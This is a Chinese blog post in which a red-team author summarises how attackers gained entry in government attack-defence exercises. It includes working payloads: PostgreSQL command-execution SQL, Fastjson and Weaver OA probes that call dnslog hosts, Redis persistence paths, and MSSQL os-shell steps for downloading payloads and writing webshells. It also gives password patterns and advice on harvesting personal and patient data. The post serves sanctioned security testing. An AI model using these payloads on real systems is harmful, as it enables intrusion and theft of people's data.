攻防演练中攻击方的思考

Delina

原文链接：攻防演练中攻击方的思考
​
一、前言本篇文章是攻防演练中攻击方是如何打开缺口的方法的总结。

Author: 0ne

本篇文章数据来源于18+省市级别HVV，90+单位失陷报告。(一部分是笔者的参与，一部分是薅的公司其他师傅的报告)思路朴素不包含钓鱼和叼炸天的0day。

​

突破入口点方法统计图：

​

攻防演练中得分项只关注两点，权限&数据：权限类型分为系统权限和应用权限，权限高低又分为管理员权限和普通用户权限。数据一般是要四件套，姓名，手机号，身份证，住址。通常敏感数据这样定义，不过看当前的应用可能敏感信息的定义又会不同，比如医院系统，病例信息就算是敏感数据。
根据上述统计结果由高到低选取部分得分方法进行说明。
二、弱口令[web应用]

弱口令是永远修复不了的漏洞，每场攻防演练都会有弱口令撕开的口子(出现次数29)

这里讨论的是一些web应用的弱口令，不包括统计结果的PostgreSQL/Redis/VPN/Jenkins/Adminer的弱口令。
说起弱口令那就不得不提爆破的技巧了。爆破前应想办法绕过验证码，部分验证码存在不刷新或是有验证的逻辑错误可绕过的情况。通常在忘记密码处可能会存在用户名枚举漏洞。对于用户名字典，根据当前的系统可猜测为姓名简称或是工号ID。也可翻阅当前登录框的JS正则或是Google信息搜索进行合理猜测。在有大量用户基数的情况下，通常固定弱口令遍历用户名效果最佳。在多次通过SQL注入获取登录后台密码md5解密后的情况来看，管理员以域名简称或是系统简称+@年份出现，或是相关的简称的密码概率不小。如：某消防系统/bjtuxfk[xxxx消防科]，某妇联后台/gzfl@2020。
好用的字典https://github.com/fuzz-security/SuperWordlist[url=https://github.com/gh0stkey/Web-Fuzzing-Box]https://github.com/gh0stkey/Web-Fuzzing-Box[/url]
三、弱口令[其他]数据库弱口令只遇见了PostgreSQL/Redis，其它未遇见可能那些常见使用的数据库经常使用，剩下的可能连运维都不知道这开着的。

PostgreSQL（从版本9.3至11.2）任意命令执行漏洞（CVE-2019-9193）

1. DROP TABLE IF EXISTS cmd_exec;
   
2. CREATE TABLE cmd_exec(cmd_output text);
   
3. COPY cmd_exec FROM PROGRAM 'whoami';
   
4. SELECT * FROM cmd_exec;
   
5. DROP TABLE IF EXISTS cmd_exec;

复制代码

Redis

连上先info查看Server信息[redis版本和OS信息]：
Redis 4.x/5.x RCE

1. https://github.com/Dliv3/redis-rogue-server
   
2. https://github.com/0671/RedisModules-ExecuteCommand-for-Windows

复制代码

Linux
写计划任务，写公钥，写webshell[知道web路径]
Windows
写启动项，写webshell[知道web路径]

1. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
   
2. https://github.com/r35tart/RedisWriteFile

复制代码

windows说实话没遇到过，权限够了，先写启动项，再想办法给它干重启[YY的没打过QAQ]
这两篇windows&redis蛮细的：

1. https://xz.aliyun.com/t/8153
   
2. https://xz.aliyun.com/t/7940

复制代码

VPN弱口令
如果是WebVPN的话，用户基数大，可以固定弱口令按照学号工号ID爆破。案例中的VPN弱口令是一个客户端，需要下载，密码不像是试出来的，更像是从Google/Git信息泄露，或是知道该员工的手机号扔进裤子里，根据里面的信息拼凑出来的[个人猜测]。

Jenkins弱口令

后台脚本命令行可执行命令，LOLBAS下载执行没啥说的。

Adminer弱口令

mysql写webshell也没啥说的。
四、shiro反序列化

shiro永远的神！没有shiro我都不知道怎么日站了(出现次数28)

这两年来shiro反序列化可谓是攻防演练中的漏洞利用之首，无论是公司自研的资产收集平台还是git上优秀的项目ShuiZe等等都带着shiro指纹的识别。专找目标的shiro也很简单，目标发散到域名发散到子域名发散到IP到全端口，将这些URL导入shiro识别工具。再跑key，再利用。统计的28个shiro中有27个通过OneforAll或是FoFa等方式收集，其中有一个shiro在微信公众号中找到的。
好用的tools：

1. https://github.com/pmiaowu/BurpShiroPassiveScan
   
2. https://github.com/wyzxxz/shiro_rce_tool
   
3. https://github.com/j1anFen/shiro_attack

复制代码

五、任意文件上传[通用]一般情况下拿shell最快的方法就是找上传，我们应该快速验证上传是否是基于后端的白名单校验。如果是后端的白名单校验，在没有解析漏洞或是其它漏洞的组合下，我们应该放弃该接口。需要注意的是我们在上传文件判断黑白名单时，上传的文件内容最好是无害的，否则可能会WAF干扰。我们一定要清楚该次上传失败是因为程序本身的限制还是WAF的阻拦。切忌对upload接口fuzz，雷声大雨点小。
值得一提的是在统计的10次上传中，有一次在微信小程序，有一个swagger信息泄露upload接口，有一次在某银行的在线聊天系统，点击人工时，会出现传图片的按钮。
客服系统：
​
​
还有一个案例：
进入后台通过Kindeditor文件上传，又通过XXXX进行文件管理，有重命名功能，改为.php。getshell。
文件上传绕WAF的本质就是服务器与WAF对数据包解析的差异性，下面提供几个畸形数据包：

​

​

六、Fastjson反序列化

也好用(出现次数6)

判断是否为fastjson：报错抛出异常或是DNSlog

1. {"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
   
2. {"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
   
3. {"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}

复制代码

遇见WAF：
hex编码或是\b：

​

详见：

1. https://www.sec-in.com/article/950
   
2. https://xz.aliyun.com/t/7568

复制代码

好用的tools：

1. https://github.com/pmiaowu/BurpFastJsonScan
   
2. https://github.com/wyzxxz/fastjson_rce_tool
   
3. https://github.com/feihong-cs/JNDIExploit

复制代码

​​
七、敏感信息泄露

苍蝇再小也是肉(出现次数5)

医院啊，这个比较多遇见的案例都是微信公众号或是小程序，遍历病例数据：

​

​
还遇见了swagger信息泄露构造接口查询：

​

​

八、UEditor1.4.3任意文件上传

出其不意(出现次数5)

当遇见.NET的网站时，右键查看图片URL为~/ueditor~/upload/image/[20200101]这种年月格式/25位数字.png，就可以判断该站点使用了UEditor[直接目录扫描工具扫也行]，就需要我们拼接出路径~/net/controller.ashx：
~前面可能不太固定需要自己在JS里找信息，或是合理猜测。
提一嘴，之前遇见个站点.png?.aspx，站点返回了404，可以直接.png.aspx，同时UEditor有过滤?的特性，在有WAF的时候可酌情使用。
​
​
九、MSSQL堆叠注入

基操

--os-shell后，得到一个命令行，一般是certutil下载执行或是powershell直接上线。也可写入webshell：

1. 找静态资源定位物理路径
   
2. for /r C:\ %i in (*xxx*) do @echo %i
   
3. dir /s/a-d/b C:\*xxx.xxx
   
4. echo ^<一句话^> >C:\phpstudy_pro\WWW\shell.txt
   
5. <>注意使用^转义

复制代码

​

​

十、OA系统

没啥说的，有0day砸0day

泛*OA，致*OA，通*OA，用*NC
github搜搜搜，内部自己有积累未批露利用点最好。
泛*OA的两个案例用的WorkflowServiceXml反序列化比较丝滑。
判断是否可利用：

1. POST /services%20/WorkflowServiceXml HTTP/1.1
   
2. Host: xxxxxx
   
3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
   
4. Accept: */*
   
5. Accept-Encoding: gzip, deflate
   
6. Content-Length: 523
   
7. Content-Type: text/xml;charest=UTF-8
   
8. 
   
9. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
   
10.    <soapenv:Header/>
    
11.    <soapenv:Body>
    
12.       <web:doCreateWorkflowRequest>
    
13.         <web:string>
    
14.     <map>
    
15.     <entry>
    
16.             <url>http://m5alw5.dnslog.cn</url>
    
17.             <string>http://m5alw5.dnslog.cn</string>
    
18.             </entry>
    
19.             </map>
    
20.         </web:string>
    
21.         <web:string>2</web:string>
    
22.       </web:doCreateWorkflowRequest>
    
23.    </soapenv:Body>
    
24. </soapenv:Envelope>

复制代码

​

SQL注入获取敏感数据感觉没啥提的，记得sqlmap加上参数random-agent。
S2在外网见的少了，也不知道大佬咋翻墙进去的。
历史遗留后门404.jsp成了入口点也是离谱。
各种debug信息泄露云key导入行云管家证明权限就OK。
已经语无伦次了......
web打点本就是个效率活，打得就是软柿子，不要给你一个站点测了半天到最后才发现：咦这里有个上传/shiro/fastjson....这就耽误功夫了，要带着目的性，尽量减少试错的过程，少做无用功。
​